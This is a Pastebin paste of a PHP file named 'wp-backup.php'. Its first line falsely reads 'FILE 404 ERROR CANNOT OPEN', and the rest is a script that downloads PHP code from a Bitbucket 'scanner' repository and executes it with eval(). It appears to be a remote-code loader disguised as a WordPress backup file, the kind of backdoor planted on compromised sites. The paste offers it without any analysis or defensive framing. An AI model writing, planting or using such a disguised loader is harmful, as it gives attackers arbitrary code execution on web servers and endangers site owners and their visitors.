bananacr1

wp-backup.php

Nov 16th, 2025
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. FILE 404 ERROR CANNOT OPEN
  2. <?php
  3.  
  4. $url = "https://bitbucket.org/bananapink/scanner/raw/b10f400e2278358fe6f5a875f14ef90190a9db80/wp.txt";
  5.  
  6. $ch = curl_init();
  7.  
  8. curl_setopt($ch, CURLOPT_URL, $url);
  9.  
  10. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  11.  
  12. $result = curl_exec($ch);
  13.  
  14. if ($result === false) {
  15.  
  16. echo "Error fetching remote content";
  17.  
  18. } else {
  19.  
  20. // Assuming $result contains PHP code, execute it
  21.  
  22. if (is_string($result)) {
  23.  
  24. // Start output buffering
  25.  
  26. ob_start();
  27.  
  28. // Execute the fetched PHP code
  29.  
  30. eval('?>'.$result);
  31.  
  32. // Get the output buffer content and clean it
  33.  
  34. $output = ob_get_clean();
  35.  
  36. // Echo the output
  37.  
  38. echo $output;
  39.  
  40. } else {
  41.  
  42. echo "Error: Invalid response from remote server";
  43.  
  44. }
  45.  
  46. }
  47.  
  48. curl_close($ch);
  49.  
  50. ?>
  51.  
Advertisement
Add Comment
Please, Sign In to add comment